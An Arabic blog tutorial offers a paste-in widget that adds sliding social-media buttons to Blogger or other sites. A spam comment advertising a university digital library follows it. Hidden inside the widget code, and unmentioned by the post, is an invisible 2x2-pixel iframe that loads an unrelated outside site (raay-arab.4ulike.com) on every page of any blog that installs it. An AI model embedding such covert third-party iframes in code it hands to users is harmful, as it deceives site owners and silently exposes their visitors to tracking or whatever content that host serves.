3:44 ص

إضافة جميلة لمدونات بلوجر : أزرار المواقع الإجتماعية منزلقة مع الصفحة بشكل رائع








السلام عليكم ورحمة الله معكم الرضوان في تدوينة جديدة و إضافة جميلة لمدوناتكم و مواقعكم و هي إضافة أزرار الصفحات 
الإجتماعية منزلقة بشكل جميل كما تشاهدونها في الجانب الأيسر من مدونتي 
www.The-Rad1.com
الإضافة ديناميكية (متحركة مع مكان تواجد الزائر في صفحة الموقع) و إضافتها لمدونتك أو موقعك بسيطة جدا يكفي وضع كود بسيط

  • إذا كنت تمتلك مدونة بلوجر فتوجه للوحة إدارة مدونتك
و توجه للعناصر الواجهة
 قم بإضافة عنصر HTML/JavaScript جديد
 و ضع فيه الكود التالي ثم مبروك عليك الإضافة لمدونتك

  • وإذا كنت تمتلك موقع على منصة أخرى غير بلوجر مثل ووردبريس أو غيرها فقم بوضع الكود أيضا ضمن عنصر HTML/Javascript أو في قالب مدونتك أو موقعك فوق <head>


الكود :

<style type="text/css">/*<![CDATA[*/@charset "utf-8";/* CSS Document *//* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://3efrit.net//---------- */@import url(http://weloveiconfonts.com/api/?family=entypo);[class*="entypo-"]:before { font-family: 'entypo', sans-serif;}/* ---------- GENERAL ---------- */#social-sidebar a { text-decoration: none; }#social-sidebar ul { list-style: none; margin: 0; padding: 0;}/* ---------- Social Sidebar ---------- */#social-sidebar { left: 0; margin-top: -75px; /* (li * a:width) / -2 */ position: fixed; top: 50%;}#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }#social-sidebar ul li a { background: #121212; color: #fff; display: block; height: 50px; font-size: 18px; line-height: 50px; position: relative; text-align: center; width: 50px;}#social-sidebar ul li a:hover span { left: 130%; opacity: 1;}#social-sidebar ul li a span { border-radius: 3px; line-height: 24px; left: -100%; margin-top: -16px; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter: alpha(opacity=0); opacity: 0; padding: 4px 8px; position: absolute; -webkit-transition: opacity .3s, left .4s; -moz-transition: opacity .3s, left .4s; -ms-transition: opacity .3s, left .4s; -o-transition: opacity .3s, left .4s; transition: opacity .3s, left .4s; top: 50%; z-index: -1;}#social-sidebar ul li a span:before { content: ""; display: block; height: 8px; left: -4px; margin-top: -4px; position: absolute; top: 50%; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); width: 8px; z-index: -2;}#social-sidebar ul li a[class*="twitter"]:hover,#social-sidebar ul li a[class*="twitter"] span,#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }#social-sidebar ul li a[class*="gplus"]:hover,#social-sidebar ul li a[class*="gplus"] span,#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }#social-sidebar ul li a[class*="tumblr"]:hover,#social-sidebar ul li a[class*="tumblr"] span,#social-sidebar ul li a[class\*="tumblr"] span:before { background: #1769ff; }#social-sidebar ul li a[class*="facebook"]:hover,#social-sidebar ul li a[class*="facebook"] span,#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }#social-sidebar ul li a[class*="rss"]:hover,#social-sidebar ul li a[class*="rss"] span,#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }/*]]>*/</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameborder="0" scrolling="no"></iframe><div id="social-sidebar"> <ul><li><a class="entypo-twitter" href="https://twitter.com/radouaneouarhou" rel="nofollow" target="_blank"><span>Twitter</span></a></li><li> <a class="entypo-gplus" href="https://plus.google.com/u/0/b/103818064703943204996/103818064703943204996" rel="nofollow" target="_blank"><span>google+</span></a></li><li> <a class="entypo-facebook" href="https://www.facebook.com/3efritblogger" rel="nofollow" target="_blank"><span>facebook</span></a></li></ul> </div>


قم بتغيير روابط الصفحات الملونة بالأحمر داخل الكود بروابط صفحاتك الخاصة و قم بالحفظ

إلى هنا أكون قد أنهينا هذا الشرح البسيط و أتمنى تعجبكم الإضافة , لا تبخلوا بتعليقاتكم و ردودكم 
بالتوفيق ^^





2 عدد التعليقات:


  1. جامعة المدينة العالمية
    http://www.mediu.edu.my/ar/
    المكتبة الرقمية
    http://dlibrary.mediu.edu.my/

    تمثل المكتبة الرقمية لجامعة المدينة العالمية من أبرز الصور الداعمة للبحث العلمي للدارسين والمتخصصين والباحثين في شتى فروع المعرفة؛ حيث تضم أكثر من خمسين ألف مرجع، تغطي كافة التخصصات الأكاديمية، وتقوم بالتحديث المستمر لهذا المحتوى؛ مما يحقق تراكمًا معرفيًا ضخمًا على المدى البعيد.
    الرؤية:
    إتاحة قاعدة عريضة من المعلومات والبحوث العلمية المسموعة والمقروءة لخدمة الطلاب والباحثين المعتزين بالقيم الإسلامية القادرين على مواجهة التحديات، والمشاركين في نهضة المجتمعات.
    الرسالة:
    تقديم الخدمات المكتبية الرقمية والمصورة والمسموعة المتكاملة.
    الهدف من المكتبة الرقمية:
    1. نشر الرصيد العلمي في سائر فنون العلم والمعرفة وتعميمه بأسلوب يحقق الفائدة العلمية المرجوة.
    2. توظيف التقنية الحديثة والاستفادة القصوى ممّا تُتيحه من إمكانات هائلة في مجال المكتبات وبالأخص الشبكة العالمية للمعلومات “الإنترنت”.
    3. خدمة الدارسين والباحثين في شتّى بقاع الأرض بما يُوفِّر عليهم الجهد والوقت في التصفّح والعرْض والبحث بطريقة عرْض تتناسب مع المعايير العالمية للمكتبات.
    4. التعاون والمشاركة والتسويق المتبادل للموارد المكتبية مع الجهات المختصة.
    موقع المكتبة الرقمية
    http://dlibrary.mediu.edu.my/

    ردحذف

ضع تعليقك وسنرد عليك